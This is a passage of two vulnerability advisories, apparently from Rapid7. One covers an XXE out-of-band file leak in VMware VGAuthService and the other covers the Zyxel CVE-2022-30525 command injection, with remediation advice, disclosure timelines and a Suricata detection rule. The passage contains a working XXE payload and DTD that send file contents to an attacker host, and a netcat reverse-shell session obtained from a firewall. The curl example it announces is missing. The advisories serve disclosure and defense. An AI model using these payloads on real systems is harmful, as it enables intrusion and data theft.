It is true that these styles of attacks do work against VGAuthService.exe, but there is a severe limitation. Traditionally, an XXE OOB attack leaks the file of the attackers choosing via an HTTP or FTP uri. For example, “http://attackurl:80/endpoint?FILEDATA” where FILEDATA is the contents of the file. However, the XML library that VGAuthService.exe is using, libxml2, is very strict about properly formatted URI and any space character or newline will cause the exfiltration to fail. For example, let’s say we wanted to perform an XXE OOB attack and leak the contents of C:\Windows\win.ini. I’d create the following file at C:\Program%20Files\VMware\VMware%20Tools\etc\catalog
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://10.0.0.2/r7.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
And then we’d create the file r7.dtd on 10.0.0.2:
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.0.0.2/xxe?%data;'>">
And server the r7.dtd file via a python server on 10.0.0.2:
albinolobster@ubuntu:~/oob$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Once the attack is triggered, VGAuthService.exe will make quite a few HTTP requests to the attackers HTTP server:
But notice that none of those HTTP requests contain the contents of win.ini. To see why, let’s take a look at VGAuthService’s log file.
[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: parser
[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: error :
[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: Invalid URI: http:///10.0.0.2/xxe?; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
Here, we can see the contents of win.ini have been appended to http://10.0.0.2/xxe? and that has caused the XML library to error out due to an invalid URI. So we can’t leak win.ini over the network, but we were able to write it to VGAuthService’s log. Unfortunately (or fortunately, for defenders), the log file is only readable by administrative users, so leaking the contents of win.ini to the log file is no good for an attack.
An attacker can leak a file as long as it can be used to form a valid URI. I can think of one very specific case where ManageEngine has a “user” saved to file as “0:verylongpassword” where this could work. But that’s super specific. Either way, we can recreate this like so:
We then do the same attack as above, but instead of <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> we do <!ENTITY % data SYSTEM "file:///c:/r7.txt">
After executing the attack, we’ll see this on our HTTP server:
While this is technically a low-privileged user leaking a file, it is quite contrived, and honestly an unlikely scenario.
Another common XXE attack is leaking NTLM hashes, but libxml2 doesn’t honor UNC paths so that isn’t a possibility. So, in conclusion, the low-privileged attacker can only deny access to the service and, very occasionally, leak privileged files.
Remediation
VMware administrators who expect low-privileged, untrusted users to interact directly with the guest operating system should apply the patch at their convenience to avoid the denial-of-service condition. As stated above, the likelihood of anyone exploiting this vulnerability to exfiltrate secrets from the guest operating system is quite low, but if those circumstances apply to your environment, more urgency in patching is warranted.
In the absence of a patch, VMware administrators can create the missing directory with write permissions limited to administrators, and this should mitigate the issue entirely.
Disclosure timeline
February, 2022: Issue discovered by Jake Baines of Rapid7
Rapid7 discovered and reported a vulnerability that affects Zyxel firewalls supporting Zero Touch Provisioning (ZTP), which includes the ATP series, VPN series, and the USG FLEX series (including USG20-VPN and USG20W-VPN). The vulnerability, identified as CVE-2022-30525, allows an unauthenticated and remote attacker to achieve arbitrary code execution as the nobody user on the affected device.
The following table contains the affected models and firmware versions.
Affected Model
Affected Firmware Version
USG FLEX 100, 100W, 200, 500, 700
ZLD5.00 thru ZLD5.21 Patch 1
USG20-VPN, USG20W-VPN
ZLD5.10 thru ZLD5.21 Patch 1
ATP 100, 200, 500, 700, 800
ZLD5.10 thru ZLD5.21 Patch 1
The VPN series, which also supports ZTP, is not vulnerable because it does not support the required functionality.
Product description
The affected firewalls are advertised for both small branch and corporate headquarter deployments. They offer VPN solutions, SSL inspection, web filtering, intrusion protection, and email security, and advertise up to 5 Gbps throughput through the firewall.
The affected models are relatively popular, with more than 15,000 visible on Shodan.
The affected models are vulnerable to unauthenticated and remote command injection via the administrative HTTP interface. Commands are executed as the nobody user. This vulnerability is exploited through the /ztp/cgi-bin/handler URI and is the result of passing unsanitized attacker input into the os.system method in lib_wan_settings.py. The vulnerable functionality is invoked in association with the setWanPortSt command. An attacker can inject arbitrary commands into the mtu or the data parameter. Below is an example curl that will cause the firewall to execute ping 192.168.1.220:
albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 192.168.1.1 37882
bash: cannot set terminal process group (11037): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ id
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
bash-5.1$ uname -a
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
Bash-5.1
Metasploit module
A Metasploit module has been developed for these vulnerabilities. The module can be used to establish a nobody Meterpreter session. The following video demonstrates exploitation:
We’ve shared a PCAP that captures Metasploit’s exploitation of a Zyxel USG FLEX 100. The PCAP can be found attached to the module’s pull request. The Metasploit module injects commands in the mtu field, and as such, the following Suricata rule should flag its use:
alert http any any -> any any ( \
msg:"Possible Zyxel ZTP setWanPortSt mtu Exploit Attempt"; \
flow:to_server; \
http.method; content:"POST"; \
http.uri; content:"/ztp/cgi-bin/handler"; \
http.request_body; content:"setWanPortSt"; \
http.request_body; content:"mtu"; \
http.request_body; pcre:"/mtu["']\s*:\s*["']\s*[^0-9]+/i";
classtype:misc-attack; \
sid:221270;)
Apply the vendor patch as soon as possible. If possible, enable automatic firmware updates. Disable WAN access to the administrative web interface of the system.
Rapid7 customers
InsightVM and Nexpose customers can assess their exposure to CVE-2022-30525 with a remote vulnerability check.
Disclosure timeline
Astute readers will notice this timeline is a little atypical for Rapid7 disclosures. In accordance with our 60-day disclosure policy, we suggested a coordinated disclosure date in June. Instead, Zyxel released patches to address this issue on April 28, 2022. At that time, Zyxel did not publish an associated CVE or security advisory. On May 9, Rapid7 independently discovered Zyxel’s uncoordinated disclosure. The vendor then reserved CVE-2022-30525.
This patch release is tantamount to releasing details of the vulnerabilities, since attackers and researchers can trivially reverse the patch to learn precise exploitation details, while defenders rarely bother to do this. Therefore, we’re releasing this disclosure early in order to assist defenders in detecting exploitation and to help them decide when to apply this fix in their own environments, according to their own risk tolerances. In other words, silent vulnerability patching tends to only help active attackers, and leaves defenders in the dark about the true risk of newly discovered issues.
April 2022 – Discovered by Jake Baines April 13, 2022 – Rapid7 discloses to [email protected]. Proposed disclosure date June 21, 2022. April 14, 2022 – Zyxel acknowledges receipt. April 20, 2022 – Rapid7 asks for an update and shares delight over “Here is how to pronounce ZyXEL’s name”. April 21, 2022 – Zyxel acknowledges reproduction of the vulnerabilities. April 28, 2022 – Zyxel releases patches without coordination with vulnerability reporter. April 29, 2022 – Zyxel indicates patch is likely to release before June 14, 2022. May 9, 2022 – Rapid7 realizes Zyxel already issued patches. Rapid7 asks Zyxel for a response on the silent patches and indicates that our team will publicly disclose the week of May 9, 2022. May 10, 2022 – Zyxel reserves CVE-2022-30525 and proposes a new disclosure schedule. May 12, 2022 – This disclosure bulletin and Metasploit module published.
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